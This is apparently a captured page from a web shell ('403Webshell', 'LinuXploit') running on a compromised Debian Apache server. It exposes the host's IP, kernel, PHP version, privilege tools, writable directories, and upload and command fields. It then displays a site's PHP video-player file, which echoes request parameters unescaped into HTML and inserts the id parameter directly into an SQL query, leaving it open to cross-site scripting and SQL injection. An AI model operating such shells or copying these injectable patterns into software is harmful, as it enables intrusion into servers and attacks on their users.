403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/moduls/player/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/moduls/player/iframe.php
<?php
/*
@author suxoza <suxoza@gmail.com>
*/



 header("Content-type: text/html; Charset=utf-8");
  session_start();
   mb_internal_encoding("UTF-8");
    error_reporting(E_ALL);
     date_default_timezone_set("Asia/Tbilisi");

try {
//   echo "<pre>";
//  print_r($_GET);
//echo "</pre>"; 

$id = trim(strip_tags($_GET['id']));
$type = trim(strip_tags($_GET['type']));
$logo = trim(strip_tags($_GET['logo']));

$dir = '/moduls/'.basename(__DIR__);

if(!$id || !$type)throw new Exception("bad url format");




function return_image($a,$_){
       return ($_->startsWith($a,'http'))?
          $a:'/img/video.png'; 
}

function return_video($a,$_){
       return ($_->endsWith($a['logo'],'.mp4'))?
              '/img/banners/video/'.$a['logo']:
               $a['unikal_key']; 
}

?>
<div id="view_iframe">
    <style>
        #view_iframe{
            background: url(/img/ajax-loader.gif) no-repeat;
            background-position: 50% 50%;
            background-size: 150px 150px;
        }

        .first_iframe_{visibility: hidden;}
        ._display_none{display: none !important}
    </style>
    
<?php 
if($type == 'new'){
    

?>


    <iframe class="first_iframe_" width="750" height="500" src="http://www.youtube.com/embed/<?=$_GET['id'];?>" frameborder="0" allowfullscreen="" onload="this.style.visibility= 'visible';"></iframe>


<?php }elseif($type == 'old'){?>
<script>window.jQuery || document.write('<script type="text/javascript" src="../../admin/js/live1.js"></\script>')</script>
<script src="player/build/mediaelement-and-player.min.js"></script>
<link rel="stylesheet" href="player/build/mediaelementplayer.min.css" />
<script type="text/javascript">
    $(function(){
        $('#video2').livequery(function(){
          $(this).mediaelementplayer({
            features: ['playpause','progress','current','duration','tracks','volume','fullscreen']
          });
         }); 

    });
</script>    

  <video id="video2" preload="none" preload="none" width="760" height="500"
      poster="<?=$logo;?>">
      <source src="<?=str_replace('||','&',$id);?>" type='video/mp4' />
  </video>


<?php }elseif($type == 'all' || $type == 'maines'){
    
     require_once '../../admin/clases/Central.php';
     $_ = new Central;
     $obj = new stdClass();
     $obj->c_type = "big";
     $obj->sql = " and page_id = $id";
     if($type == 'maines'){
         $_sel = $_->select("id","body","big",["page_id",$id]);
         if(count($_sel)){
             $length = isset($_sel['body'])?count($_sel['body']):0;
             $ids = [];
             for($i = 0; $i < $length; $i++)
                $ids[]= $_sel['body'][$i]['id'];
             if(count($ids))$obj->sql = " and page_id in(".join(',',$ids).") and CHAR_LENGTH(logo) > 5";
             else die("video files not found!");
         }
     }
     $select = $_->select("*","body",$obj);
     if(!$select || !isset($select['body']) || count($select['body']) < 1)throw new Exception('gallery not found');
     $select = $select['body'];
     $length = count($select);
?>


<script>window.jQuery || document.write('<script type="text/javascript" src="../../../admin/js/live1.js"></\script>')</script>
<script src="player/build/mediaelement-and-player.min.js"></script>
<link rel="stylesheet" href="player/build/mediaelementplayer.min.css" />



<link rel="stylesheet" href="player_css.css"/>
<script type="text/javascript" src="players_js.js"></script>




  <div id="galleryes_player">
      
      <div id="inner_video_player">
         <div id="video_parent_player"> 
          <?php if(!$_->startSwith($select[0]['logo'],'http')){?>   
            <video id="video2" onended="play_recursion(this);" preload="none" width="620" height="468"
                 poster="<?=return_image($select[0]['logo'],$_)?>">
             <source src="<?=return_video($select[0],$_)?>" type='video/mp4' />
<!--             <iframe class="video_iframe _display_none" width="620" height="468" src="" frameborder="0" allowfullscreen=""></iframe>-->
          <?php }else{?>  
             <iframe id="__iframe" class="video_iframe" width="620" height="468" src="http://www.youtube.com/embed/<?=return_video($select[0],$_)?>" frameborder="0" allowfullscreen=""></iframe>
          <?php }?> 
          </video>    
          </div>  
        <!--  <?php if(isset($_SERVER['HTTP_USER_AGENT']) && stripos($_SERVER['HTTP_USER_AGENT'], 'opera') === false && stripos($_SERVER['HTTP_USER_AGENT'], 'msie') === false):?>
              <div id="bigers_playes">
               <div onclick="wicher_player(this);"></div>
              </div>
          <?php endif;?> -->
      </div> 
         
      <div id="lists_video_player_hidden">
         
        <div id="lists_video_player">
          <?php for($i = 0; $i < $length; $i++):
             $image = return_image($select[$i]['logo'],$_);
             $class = (!$i)?' active_player':'';
             $name = '';
             $duration = '';
          ?>
         
            <div class="small_video_player<?=$class;?>" onmousemove="add_clases(this,1);"  onmouseleave="add_clases(this,2);">
                <img class="sherxan_iox" src="<?=$image;?>" onclick="play_video(this);" video="<?=return_video($select[$i],$_)?>" logo="<?=return_image($select[$i]['logo'],$_)?>">
                <div class="title_for_change_player">
                    <?=$select[$i]['body_'.$_->_lang]?>
                </div>
            </div> 

          <?php endfor;?>
      </div>
    </div> 
      <div id="info_player">სულ: <strong><?=$length?></strong> ვიდეო</div> 
      <?php if($length > 1):?>
            <div id="play_options_playes">
                <img src="/img/prev.png" title="წინა ვიდეო" onclick="prev_next('prev');">
                <span>1/<?=$length?></span>
                <img src="/img/next.png" title="შემდეგი ვიდეო" onclick="prev_next('next');">
            </div>
<!--            <button id="play_all_player" onclick="play_all_video(this);">ყველას დაკვრა</button> -->
      <?php endif;?>      
  </div>

<div id="title_player">
    <?=$select[0]['body_'.$_->_lang]?>
</div>


<?php }

echo '</div>';

}catch(Exception $ex){
    die($ex->getMessage());
}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit